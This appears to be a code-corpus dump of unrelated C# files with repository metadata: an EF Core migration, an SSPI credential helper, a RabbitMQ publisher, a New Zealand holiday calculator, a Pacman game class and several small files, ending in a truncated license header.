Rect(actualChildPoint.X, actualChildPoint.Y, elem.DesiredSize.Width, elem.DesiredSize.Height)); //Calculate the new _angle for the next element _angle += _incrementalAngularSpace; } return finalSize; } } }
49.8
184
0.601963
[ "Apache-2.0" ]
ChrisHagan/metl2011
MeTLMeeting/SandRibbon/Components/Utility/RadialPanel.cs
2,243
C#
using System; using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("Windows.UI.Interactivity")] [assembly: AssemblyDescription("Windows.UI.Interactivity is a port of System.Windows.Interactivity to the Windows Runtime and allows you to use behaviors and triggers as in Silverlight.")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("Johan Laanstra")] [assembly: AssemblyProduct("Windows.UI.Interactivity")] [assembly: AssemblyCopyright("Copyright © 2013")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.2.0.0")] [assembly: AssemblyFileVersion("1.3.0.0")] [assembly: ComVisible(false)]
41.533333
188
0.757624
[ "MIT" ]
jlaanstra/Windows.UI.Interactivity
Windows.UI.Interactivity/Properties/AssemblyInfo.cs
1,249
C#
// <auto-generated /> using Microsoft.EntityFrameworkCore; using Microsoft.EntityFrameworkCore.Infrastructure; using Microsoft.EntityFrameworkCore.Metadata; using Microsoft.EntityFrameworkCore.Migrations; using Microsoft.EntityFrameworkCore.Storage; using Microsoft.EntityFrameworkCore.Storage.Internal; using System; using VETHarbor.Data; namespace VETHarbor.Migrations { [DbContext(typeof(ApplicationDbContext))] [Migration("20180424114358_UpdateOrgModel")] partial class UpdateOrgModel { protected override void BuildTargetModel(ModelBuilder modelBuilder) { #pragma warning disable 612, 618 modelBuilder .HasAnnotation("ProductVersion", "2.0.2-rtm-10011") .HasAnnotation("SqlServer:ValueGenerationStrategy", SqlServerValueGenerationStrategy.IdentityColumn); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityRoleClaim<System.Guid>", b => { b.Property<int>("Id") .ValueGeneratedOnAdd(); b.Property<string>("ClaimType"); b.Property<string>("ClaimValue"); b.Property<Guid>("RoleId"); b.HasKey("Id"); b.HasIndex("RoleId"); b.ToTable("AspNetRoleClaims"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserClaim<System.Guid>", b => { b.Property<int>("Id") .ValueGeneratedOnAdd(); b.Property<string>("ClaimType"); b.Property<string>("ClaimValue"); b.Property<Guid>("UserId"); b.HasKey("Id"); b.HasIndex("UserId"); b.ToTable("AspNetUserClaims"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserLogin<System.Guid>", b => { b.Property<string>("LoginProvider"); b.Property<string>("ProviderKey"); b.Property<string>("ProviderDisplayName"); b.Property<Guid>("UserId"); b.HasKey("LoginProvider", "ProviderKey"); b.HasIndex("UserId"); b.ToTable("AspNetUserLogins"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserRole<System.Guid>", b => { b.Property<Guid>("UserId"); b.Property<Guid>("RoleId"); b.HasKey("UserId", "RoleId"); b.HasIndex("RoleId"); b.ToTable("AspNetUserRoles"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserToken<System.Guid>", b => { b.Property<Guid>("UserId"); b.Property<string>("LoginProvider"); b.Property<string>("Name"); b.Property<string>("Value"); b.HasKey("UserId", "LoginProvider", "Name"); b.ToTable("AspNetUserTokens"); }); modelBuilder.Entity("VETHarbor.Models.ApplicationRole", b => { b.Property<Guid>("Id") .ValueGeneratedOnAdd(); b.Property<string>("ConcurrencyStamp") .IsConcurrencyToken(); b.Property<string>("Name") .HasMaxLength(256); b.Property<string>("NormalizedName") .HasMaxLength(256); b.HasKey("Id"); b.HasIndex("NormalizedName") .IsUnique() .HasName("RoleNameIndex") .HasFilter("[NormalizedName] IS NOT NULL"); b.ToTable("AspNetRoles"); }); modelBuilder.Entity("VETHarbor.Models.ApplicationUser", b => { b.Property<Guid>("Id") .ValueGeneratedOnAdd(); b.Property<int>("AccessFailedCount"); b.Property<string>("ConcurrencyStamp") .IsConcurrencyToken(); b.Property<string>("Email") .HasMaxLength(256); b.Property<bool>("EmailConfirmed"); b.Property<bool>("LockoutEnabled"); b.Property<DateTimeOffset?>("LockoutEnd"); b.Property<string>("NormalizedEmail") .HasMaxLength(256); b.Property<string>("NormalizedUserName") .HasMaxLength(256); b.Property<string>("OrgCity"); b.Property<string>("OrgId"); b.Property<string>("OrgName"); b.Property<string>("OrgState"); b.Property<string>("PasswordHash"); b.Property<string>("PhoneNumber"); b.Property<bool>("PhoneNumberConfirmed"); b.Property<string>("SecurityStamp"); b.Property<bool>("TwoFactorEnabled"); b.Property<string>("UserName") .HasMaxLength(256); b.HasKey("Id"); b.HasIndex("NormalizedEmail") .HasName("EmailIndex"); b.HasIndex("NormalizedUserName") .IsUnique() .HasName("UserNameIndex") .HasFilter("[NormalizedUserName] IS NOT NULL"); b.HasIndex("OrgId"); b.ToTable("AspNetUsers"); }); modelBuilder.Entity("VETHarbor.Models.Events", b => { b.Property<int>("EventId") .ValueGeneratedOnAdd(); b.Property<string>("EventDescription"); b.Property<DateTime>("EventEnd"); b.Property<string>("EventPhotoUrl"); b.Property<DateTime>("EventStart"); b.Property<string>("EventTitle"); b.Property<string>("OrgId"); b.Property<string>("OrgName"); b.Property<string>("ProgramTitle"); b.Property<int?>("ProgramsProgramId"); b.HasKey("EventId"); b.HasIndex("OrgId"); b.HasIndex("ProgramsProgramId"); b.ToTable("Events"); }); modelBuilder.Entity("VETHarbor.Models.Organization", b => { b.Property<string>("OrgId") .ValueGeneratedOnAdd(); b.Property<string>("OrgCity"); b.Property<string>("OrgName"); b.Property<string>("OrgState"); b.HasKey("OrgId"); b.ToTable("Organizations"); }); modelBuilder.Entity("VETHarbor.Models.Programs", b => { b.Property<int>("ProgramId") .ValueGeneratedOnAdd(); b.Property<string>("OrgId"); b.Property<string>("OrgName"); b.Property<string>("ProgramCity"); b.Property<string>("ProgramDescription"); b.Property<string>("ProgramPhotoUrl"); b.Property<string>("ProgramState"); b.Property<string>("ProgramTitle"); b.Property<string>("ProgramType"); b.Property<string>("WebsiteUrl"); b.HasKey("ProgramId"); b.HasIndex("OrgId"); b.ToTable("Programs"); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityRoleClaim<System.Guid>", b => { b.HasOne("VETHarbor.Models.ApplicationRole") .WithMany() .HasForeignKey("RoleId") .OnDelete(DeleteBehavior.Cascade); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserClaim<System.Guid>", b => { b.HasOne("VETHarbor.Models.ApplicationUser") .WithMany() .HasForeignKey("UserId") .OnDelete(DeleteBehavior.Cascade); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserLogin<System.Guid>", b => { b.HasOne("VETHarbor.Models.ApplicationUser") .WithMany() .HasForeignKey("UserId") .OnDelete(DeleteBehavior.Cascade); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserRole<System.Guid>", b => { b.HasOne("VETHarbor.Models.ApplicationRole") .WithMany() .HasForeignKey("RoleId") .OnDelete(DeleteBehavior.Cascade); b.HasOne("VETHarbor.Models.ApplicationUser") .WithMany("Roles") .HasForeignKey("UserId") .OnDelete(DeleteBehavior.Cascade); }); modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserToken<System.Guid>", b => { b.HasOne("VETHarbor.Models.ApplicationUser") .WithMany() .HasForeignKey("UserId") .OnDelete(DeleteBehavior.Cascade); }); modelBuilder.Entity("VETHarbor.Models.ApplicationUser", b => { b.HasOne("VETHarbor.Models.Organization", "Organization") .WithMany("ApplicationUsers") .HasForeignKey("OrgId"); }); modelBuilder.Entity("VETHarbor.Models.Events", b => { b.HasOne("VETHarbor.Models.Organization", "Organization") .WithMany("Events") .HasForeignKey("OrgId"); b.HasOne("VETHarbor.Models.Programs", "Programs") .WithMany() .HasForeignKey("ProgramsProgramId"); }); modelBuilder.Entity("VETHarbor.Models.Programs", b => { b.HasOne("VETHarbor.Models.Organization", "Organization") .WithMany("Programs") .HasForeignKey("OrgId"); }); #pragma warning restore 612, 618 } } }
32.604106
117
0.46744
[ "MIT" ]
eagobert/CSharp-VetHarborProject
VETHarbor/VETHarbor/Migrations/20180424114358_UpdateOrgModel.Designer.cs
11,120
C#
using System.Runtime.InteropServices; using System.Text; namespace Shared { public class PasswordCredential : Credential { private readonly CredentialHandle handle; public PasswordCredential(string username, string password, string domain) { handle = SafeMakeCreds(username, password, domain); } private unsafe CredentialHandle SafeMakeCreds(string username, string password, string domain) { return new CredentialHandle(MakeCreds(username, password, domain)); } private unsafe void* MakeCreds(string username, string password, string domain) { var usernameBytes = Encoding.Unicode.GetBytes(username); var passwordBytes = Encoding.Unicode.GetBytes(password); var domainBytes = Encoding.Unicode.GetBytes(domain); var size = sizeof(SEC_WINNT_AUTH_IDENTITY) + usernameBytes.Length + passwordBytes.Length + domainBytes.Length; void* pCreds = SafeAlloc(size); SEC_WINNT_AUTH_IDENTITY* creds = (SEC_WINNT_AUTH_IDENTITY*)pCreds; creds->UserLength = username.Length; creds->PasswordLength = password.Length; creds->DomainLength = domain.Length; creds->Flags = SEC_WINNT_AUTH_IDENTITY_FLAGS.Unicode; Marshal.Copy( usernameBytes, 0, PtrIncrement(pCreds, (uint)sizeof(SEC_WINNT_AUTH_IDENTITY)), usernameBytes.Length ); Marshal.Copy( domainBytes, 0, PtrIncrement(pCreds, (uint)(sizeof(SEC_WINNT_AUTH_IDENTITY) + usernameBytes.Length)), domainBytes.Length ); Marshal.Copy( passwordBytes, 0, PtrIncrement(pCreds, (uint)(sizeof(SEC_WINNT_AUTH_IDENTITY) + usernameBytes.Length + domainBytes.Length)), passwordBytes.Length ); return creds; } internal override CredentialHandle Structify() { return handle; } [StructLayout(LayoutKind.Sequential)] internal unsafe struct SEC_WINNT_AUTH_IDENTITY { public void* User; public int UserLength; public void* Domain; public int DomainLength; public void* Password; public int PasswordLength; public SEC_WINNT_AUTH_IDENTITY_FLAGS Flags; } internal enum SEC_WINNT_AUTH_IDENTITY_FLAGS { ANSI = 1, Unicode = 2 } /* typedef struct _SEC_WINNT_AUTH_IDENTITY_A { unsigned char *User; unsigned long UserLength; unsigned char *Domain; unsigned long DomainLength; unsigned char *Password; unsigned long PasswordLength; unsigned long Flags; } SEC_WINNT_AUTH_IDENTITY_A, *PSEC_WINNT_AUTH_IDENTITY_A; */ } }
29.413462
122
0.590389
[ "MIT" ]
SteveSyfuhs/DelegatedAuthentication
src/Shared/PasswordCredential.cs
3,061
C#
using System; using System.Diagnostics.Contracts; using System.IO; using System.Net; using System.Net.Http; using System.Threading.Tasks; namespace Shiny.Net { public class ProgressStreamContent : HttpContent { readonly Stream content; readonly int bufferSize; readonly Action<int> packetSent; bool contentConsumed; public ProgressStreamContent(Stream content, Action<int> packetSent) : this(content, 8192, packetSent) { } public ProgressStreamContent(Stream content, int bufferSize, Action<int> packetSent) { if (content == null) throw new ArgumentNullException(nameof(content)); if (bufferSize <= 0) throw new ArgumentOutOfRangeException(nameof(bufferSize)); this.content = content; this.bufferSize = bufferSize; this.packetSent = packetSent; } protected override Task SerializeToStreamAsync(Stream stream, TransportContext context) { Contract.Assert(stream != null); this.PrepareContent(); return Task.Run(() => { var buffer = new Byte[this.bufferSize]; using (this.content) { var read = this.content.Read(buffer, 0, buffer.Length); while (read > 0) { stream.Write(buffer, 0, read); this.packetSent.Invoke(read); read = this.content.Read(buffer, 0, buffer.Length); } } }); } protected override bool TryComputeLength(out long length) { length = this.content.Length; return true; } protected override void Dispose(bool disposing) { if (disposing) this.content.Dispose(); base.Dispose(disposing); } void PrepareContent() { if (this.contentConsumed) { // If the content needs to be written to a target stream a 2nd time, then the stream must support // seeking (e.g. a FileStream), otherwise the stream can't be copied a second time to a target // stream (e.g. a NetworkStream). if (!this.content.CanSeek) throw new InvalidOperationException("SR.net_http_content_stream_already_read"); this.content.Position = 0; } this.contentConsumed = true; } } }
28.074468
113
0.541114
[ "MIT" ]
AlexAba/shiny
src/Shiny.Core/Net/ProgressStreamContent.cs
2,641
C#
using System; using System.Collections.Generic; using System.Linq; namespace PublicHoliday { /// <summary> /// New Zealand Public Holidays: https://www.govt.nz/browse/work/public-holidays-and-work-2/public-holidays-and-anniversary-dates/ /// </summary> public class NewZealandPublicHoliday : PublicHolidayBase { /// <summary> /// New Year's Day /// </summary> /// <param name="year">The year.</param> /// <returns>Date of in the given year.</returns> public static DateTime NewYear(int year) { return HolidayCalculator.FixWeekend(new DateTime(year, 1, 1)); } /// <summary> /// Day After New Year's Day /// </summary> /// <param name="year">The year.</param> /// <returns>Date of in the given year.</returns> public static DateTime DayAfterNewYear(int year) { var ny = NewYear(year); //may be shifted to Monday, so we have to add a day return HolidayCalculator.FixWeekend(ny.AddDays(1)); } /// <summary> /// Waitangi Day - 6th February /// </summary> /// <param name="year">The year.</param> /// <returns>Date of in the given year.</returns> public static DateTime WaitangiDay(int year) { return HolidayCalculator.FixWeekend(new DateTime(year, 2, 6)); } /// <summary> /// Good Friday (Friday before Easter) /// </summary> /// <param name="year"></param> /// <returns></returns> public static DateTime GoodFriday(int year) { var easter = HolidayCalculator.GetEaster(year); return GoodFriday(easter); } private static DateTime GoodFriday(DateTime easter) { return easter.AddDays(-2); } /// <summary> /// Easter Monday /// </summary> /// <param name="year">The year.</param> /// <returns>Date of in the given year.</returns> public static DateTime EasterMonday(int year) { var easter = HolidayCalculator.GetEaster(year); return EasterMonday(easter); } private static DateTime EasterMonday(DateTime easter) { return easter.AddDays(1); } /// <summary> /// ANZAC day, 25th April. /// Unless it falls on a weekend and then it becomes a Monday holiday. /// </summary> /// <param name="year"></param> public static DateTime AnzacDay(int year) { var anzac = new DateTime(year, 4, 25); return year >= 2015 ? HolidayCalculator.FixWeekend(anzac) : anzac; } /// <summary> /// Queen's Birthday - first Monday in June /// </summary> /// <param name="year">The year.</param> public static DateTime QueenBirthday(int year) { return HolidayCalculator.FindNext(new DateTime(year, 6, 1), DayOfWeek.Monday); } /// <summary> /// Labour Day - 4th Monday in October /// </summary> /// <param name="year">The year.</param> public static DateTime LabourDay(int year) { return HolidayCalculator.FindNext(new DateTime(year, 10, 1), DayOfWeek.Monday).AddDays(7 * 3); } /// <summary> /// Christmas /// </summary> /// <param name="year"></param> /// <returns></returns> public static DateTime Christmas(int year) { return HolidayCalculator.FixWeekend(new DateTime(year, 12, 25)); } /// <summary> /// Boxing Day /// </summary> /// <remarks> /// If boxing day lands on a Sunday then the public holiday must be observed on the following Tuesday. /// So xmas and boxing days can be both Saturday and Sunday, followed by public holidays for both Monday and Tuesday. /// </remarks> /// <param name="year"></param> /// <returns></returns> public static DateTime BoxingDay(int year) { var xmas = Christmas(year); // May be shifted to Monday, so we have to add a day. return HolidayCalculator.FixWeekend(xmas.AddDays(1)); } /// <summary> /// Matariki - https://www.beehive.govt.nz/release/matariki-holiday-dates-next-thirty-years-announced /// </summary> /// <param name="year">The year to check</param> /// <returns>The date of Matariki, if there is one defined</returns> public static DateTime? Matariki(int year) { // First occurrence is in 2022 if (year < 2022) return null; var dates = new Dictionary<int, DateTime> { {2022, new DateTime(2022, 6, 24)}, {2023, new DateTime(2023, 7, 14)}, {2024, new DateTime(2024, 6, 28)}, {2025, new DateTime(2025, 6, 20)}, {2026, new DateTime(2026, 7, 10)}, {2027, new DateTime(2027, 6, 25)}, {2028, new DateTime(2028, 7, 14)}, {2029, new DateTime(2029, 7, 6)}, {2030, new DateTime(2030, 6, 21)}, {2031, new DateTime(2031, 7, 11)}, {2032, new DateTime(2032, 7, 2)}, {2033, new DateTime(2033, 6, 24)}, {2034, new DateTime(2034, 7, 7)}, {2036, new DateTime(2036, 7, 18)}, {2037, new DateTime(2037, 7, 10)}, {2038, new DateTime(2038, 6, 25)}, {2039, new DateTime(2039, 7, 15)}, {2040, new DateTime(2040, 7, 6)}, {2041, new DateTime(2041, 7, 19)}, {2042, new DateTime(2042, 7, 11)}, {2043, new DateTime(2043, 7, 3)}, {2044, new DateTime(2044, 6, 24)}, {2045, new DateTime(2045, 7, 7)}, {2046, new DateTime(2046, 6, 29)}, {2047, new DateTime(2047, 7, 19)}, {2048, new DateTime(2048, 7, 3)}, {2049, new DateTime(2049, 6, 25)}, {2050, new DateTime(2050, 7, 15)}, {2051, new DateTime(2051, 6, 30)}, {2052, new DateTime(2052, 6, 21)} }; return dates.ContainsKey(year) ? dates[year] : (DateTime?)null; } /// <summary> /// Get a list of dates for all holidays in a year. /// </summary> /// <param name="year">The year.</param> /// <returns></returns> public override IList<DateTime> PublicHolidays(int year) { return PublicHolidayNames(year).Select(x => x.Key).OrderBy(x => x).ToList(); } /// <summary> /// Get a list of dates with names for all holidays in a year. /// </summary> /// <param name="year">The year.</param> /// <returns> /// Dictionary of bank holidays /// </returns> public override IDictionary<DateTime, string> PublicHolidayNames(int year) { var bHols = new Dictionary<DateTime, string> { {NewYear(year), "New Year"}, {DayAfterNewYear(year), "Day After New Year"}, {WaitangiDay(year), "Waitangi Day"} }; var easter = HolidayCalculator.GetEaster(year); bHols.Add(GoodFriday(easter), "Good Friday"); bHols.Add(EasterMonday(easter), "Easter Monday"); bHols.Add(AnzacDay(year), "Anzac Day"); bHols.Add(QueenBirthday(year), "Queen's Birthday"); bHols.Add(LabourDay(year), "Labour Day"); bHols.Add(Christmas(year), "Christmas Day"); bHols.Add(BoxingDay(year), "Boxing Day"); var matariki = Matariki(year); if (matariki.HasValue) { bHols.Add(matariki.Value, "Matariki"); } return bHols; } /// <summary> /// Check if a specific date is a public holiday. /// Obviously the <see cref="PublicHolidays" /> list is more efficient for repeated checks /// </summary> /// <param name="dt">The date you wish to check</param> /// <returns> /// True if date is a public holiday (excluding weekends) /// </returns> public override bool IsPublicHoliday(DateTime dt) { var year = dt.Year; var date = dt.Date; switch (dt.Month) { case 1: if (NewYear(year) == date) return true; if (DayAfterNewYear(year) == date) return true; break; case 2: if (WaitangiDay(year) == date) return true; break; case 3: case 4: if (GoodFriday(year) == date) return true; if (EasterMonday(year) == date) return true; if (AnzacDay(year) == date) return true; break; case 6: if (QueenBirthday(year) == date) return true; if (Matariki(year) == date) return true; break; case 7: if (Matariki(year) == date) return true; break; case 10: if (LabourDay(year) == date) return true; break; case 12: if (Christmas(year) == date) return true; if (BoxingDay(year) == date) return true; break; } return false; } } }
36.132143
134
0.491351
[ "MIT" ]
Hrothval/Holiday
src/PublicHoliday/NewZealandPublicHoliday.cs
10,119
C#
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("SolutionDependencyChecker")] [assembly: AssemblyDescription("Checks for missing dependencies from a source solution zip file or from an xRM/Dataverse instance")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("Corterra Solutions")] [assembly: AssemblyProduct("Solution Dependency Checker")] [assembly: AssemblyCopyright("Copyright © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("50f13f9f-521e-4ebb-b547-fc88f4952f81")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.3.2")] [assembly: AssemblyFileVersion("1.3.2")]
41.513514
132
0.757813
[ "MIT" ]
CorterraSolutions/SolutionDependencyChecker
XRMSolutionDependencyChecker/Properties/AssemblyInfo.cs
1,539
C#
// The MIT License (MIT) // // Copyright (c) 2015-2018 Rasmus Mikkelsen // Copyright (c) 2015-2018 eBay Software Foundation // https://github.com/eventflow/EventFlow // // Permission is hereby granted, free of charge, to any person obtaining a copy of // this software and associated documentation files (the "Software"), to deal in // the Software without restriction, including without limitation the rights to // use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of // the Software, and to permit persons to whom the Software is furnished to do so, // subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS // FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR // COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER // IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN // CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading; using System.Threading.Tasks; using EventFlow.Core; using EventFlow.Extensions; using EventFlow.Logs; using RabbitMQ.Client; namespace EventFlow.RabbitMQ.Integrations { public class RabbitMqPublisher : IDisposable, IRabbitMqPublisher { private readonly ILog _log; private readonly IRabbitMqConnectionFactory _connectionFactory; private readonly IRabbitMqConfiguration _configuration; private readonly ITransientFaultHandler<IRabbitMqRetryStrategy> _transientFaultHandler; private readonly AsyncLock _asyncLock = new AsyncLock(); private readonly Dictionary<Uri, IRabbitConnection> _connections = new Dictionary<Uri, IRabbitConnection>(); public RabbitMqPublisher( ILog log, IRabbitMqConnectionFactory connectionFactory, IRabbitMqConfiguration configuration, ITransientFaultHandler<IRabbitMqRetryStrategy> transientFaultHandler) { _log = log; _connectionFactory = connectionFactory; _configuration = configuration; _transientFaultHandler = transientFaultHandler; } public Task PublishAsync(CancellationToken cancellationToken, params RabbitMqMessage[] rabbitMqMessages) { return PublishAsync(rabbitMqMessages, cancellationToken); } public async Task PublishAsync(IReadOnlyCollection<RabbitMqMessage> rabbitMqMessages, CancellationToken cancellationToken) { var uri = _configuration.Uri; IRabbitConnection rabbitConnection = null; try { rabbitConnection = await GetRabbitMqConnectionAsync(uri, cancellationToken).ConfigureAwait(false); await _transientFaultHandler.TryAsync( c => rabbitConnection.WithModelAsync(m => PublishAsync(m, rabbitMqMessages), c), Label.Named("rabbitmq-publish"), cancellationToken) .ConfigureAwait(false); } catch (OperationCanceledException) { throw; } catch (Exception e) { if (rabbitConnection != null) { using (await _asyncLock.WaitAsync(CancellationToken.None).ConfigureAwait(false)) { rabbitConnection.Dispose(); _connections.Remove(uri); } } _log.Error(e, "Failed to publish domain events to RabbitMQ"); throw; } } private async Task<IRabbitConnection> GetRabbitMqConnectionAsync(Uri uri, CancellationToken cancellationToken) { using (await _asyncLock.WaitAsync(cancellationToken).ConfigureAwait(false)) { if (_connections.TryGetValue(uri, out var rabbitConnection)) { return rabbitConnection; } rabbitConnection = await _connectionFactory.CreateConnectionAsync(uri, cancellationToken).ConfigureAwait(false); _connections.Add(uri, rabbitConnection); return rabbitConnection; } } private Task<int> PublishAsync( IModel model, IReadOnlyCollection<RabbitMqMessage> messages) { _log.Verbose( "Publishing {0} domain events to RabbitMQ host '{1}'", messages.Count, _configuration.Uri.Host); foreach (var message in messages) { var bytes = Encoding.UTF8.GetBytes(message.Message); var basicProperties = model.CreateBasicProperties(); basicProperties.Headers = message.Headers.ToDictionary(kv => kv.Key, kv => (object)kv.Value); basicProperties.Persistent = _configuration.Persistent; basicProperties.Timestamp = new AmqpTimestamp(DateTimeOffset.Now.ToUnixTime()); basicProperties.ContentEncoding = "utf-8"; basicProperties.ContentType = "application/json"; basicProperties.MessageId = message.MessageId.Value; // TODO: Evil or not evil? Do a Task.Run here? model.BasicPublish(message.Exchange.Value, message.RoutingKey.Value, false, basicProperties, bytes); } return Task.FromResult(0); } public void Dispose() { foreach (var rabbitConnection in _connections.Values) { rabbitConnection.Dispose(); } _connections.Clear(); } } }
40.845638
130
0.637857
[ "MIT" ]
brunao05/EventFlow
Source/EventFlow.RabbitMQ/Integrations/RabbitMqPublisher.cs
6,086
C#
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace BlazorComponent { public partial class BDatePickerTableEvents<TDatePickerTable> where TDatePickerTable : IDatePickerTable { } }
19.214286
107
0.788104
[ "MIT" ]
BlazorComponent/BlazorComponent
src/Component/BlazorComponent/Components/DatePicker/DatePickerTable/DatePickerTable/Button/Events/BDatePickerTableEvents.razor.cs
271
C#
using System; using System.Collections.Generic; using System.Drawing; using System.Text; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; namespace Pacman.GameLogic { [Serializable()] public class Pacman : Entity, ICloneable { public const int StartX = 111, StartY = 189; private int counter; public int Score; public int Lives; private bool gotExtraLife; private int eatGhostBonus; public Pacman(int x, int y, GameState gameState, double Speed) : base(x, y, gameState) { this.Speed = Speed; Reset(); } public void SetPosition(int x, int y, Direction direction) { this.x = x; this.y = y; this.direction = direction; // eat all pills on path from last node Node curNode = Node; Node nextNode = GameState.Map.GetNode(X, Y); if( nextNode.Type == Node.NodeType.Wall ) { //nextNode = curNode; throw new ApplicationException("You cannot set your destination to a wall"); } if( curNode.ShortestPath[nextNode.X, nextNode.Y] != null ) { while( curNode != nextNode ) { curNode = curNode.GetNode(curNode.ShortestPath[nextNode.X, nextNode.Y].Direction); if( curNode.Type == Node.NodeType.Pill || curNode.Type == Node.NodeType.PowerPill ) { GameState.Map.PillsLeft--; curNode.Type = Node.NodeType.None; } } // set new node Node = nextNode; } } public void SetDirection(Direction direction) { NextDirection = direction; } public void Die() { Lives--; if( GameState.Controller != null ) { GameState.Controller.EatenByGhost(); } ResetPosition(); } public void Reset() { Lives = 0; Score = 0; gotExtraLife = false; counter = 0; ResetPosition(); } public void ResetPosition() { x = StartX; y = StartY; Node = GameState.Map.GetNode(X, Y); direction = Direction.Left; NextDirection = Direction.Left; } public void EatGhost() { Score += eatGhostBonus; GameState.m_GhostsEaten++; eatGhostBonus *= 2; if( GameState.Controller != null ) { GameState.Controller.EatGhost(); } } // This utilizes the likes of the 2D array enum to determine whether or not // a pill has been eaten at a given co-ordinate protected override void ProcessNodeSimulated() { if (GameState.Map.NodeData[Node.X,Node.Y] == Node.NodeType.Pill || GameState.Map.NodeData[Node.X,Node.Y] == Node.NodeType.PowerPill) { if (GameState.Map.NodeData[Node.X,Node.Y] == Node.NodeType.PowerPill) { foreach (var g in GameState.Ghosts) { g.Flee(); } eatGhostBonus = 200; Score += 50; if (GameState.Controller != null) { GameState.Controller.EatPowerPill(); // GameState.PacmanMortal = true; } GameState.ReverseGhosts(); } else { Score += 10; if (GameState.Controller != null) { GameState.Controller.EatPill(); } } GameState.m_PillsEaten++; if(GameState.Map.NodeData[Node.X,Node.Y] == Node.NodeType.PowerPill) { GameState.m_PowerPillsEaten++; } GameState.Map.NodeData[Node.X,Node.Y] = Node.NodeType.None; GameState.Map.Nodes[Node.X, Node.Y].Type = Node.NodeType.None; GameState.Map.PillsLeft--; if (Score >= 10000 && !gotExtraLife) { gotExtraLife = true; Lives++; } } } protected override void ProcessNode() { if( Node.Type == Node.NodeType.Pill || Node.Type == Node.NodeType.PowerPill ) { if( Node.Type == Node.NodeType.PowerPill ) { foreach(var g in GameState.Ghosts ) { g.Flee(); } eatGhostBonus = 200; Score += 50; if( GameState.Controller != null ) { GameState.Controller.EatPowerPill(); // GameState.PacmanMortal = true; } GameState.ReverseGhosts(); GameState.m_PowerPillsEaten++; } else { Score += 10; if( GameState.Controller != null ) { GameState.Controller.EatPill(); } } Node.Type = Node.NodeType.None; GameState.m_PillsEaten++; GameState.Map.PillsLeft--; if(Score >= 10000 && !gotExtraLife ) { gotExtraLife = true; Lives++; } } } public override void Draw(Graphics g, Image sprites) { int offset = 0; if( counter % 4 < 2 ) { offset = Width; } switch( Direction ) { case Direction.Down: offset += Width * 2; break; case Direction.None: case Direction.Left: offset += Width * 4; break; case Direction.Right: offset += Width * 6; break; } g.DrawImage(sprites, new Rectangle(ImgX, ImgY, 14, 14), new Rectangle(offset, 0, 13, 14), GraphicsUnit.Pixel); counter++; } #region ICloneable Members /// <summary> /// /// </summary> /// <returns></returns> public object Clone() { Pacman _temp = (Pacman)this.MemberwiseClone(); _temp.Node = this.Node.Clone(); return _temp; //throw new NotImplementedException(); } #endregion } }
29.035714
144
0.547883
[ "MIT" ]
AndrewRimsha/PacMan-CSharp
PacmanCSharp/PacmanGameLogic/Pacman.cs
5,691
C#
#region License // Copyright (c) 2020 Jake Fowler // // Permission is hereby granted, free of charge, to any person // obtaining a copy of this software and associated documentation // files (the "Software"), to deal in the Software without // restriction, including without limitation the rights to use, // copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the // Software is furnished to do so, subject to the following // conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES // OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT // HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, // WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // 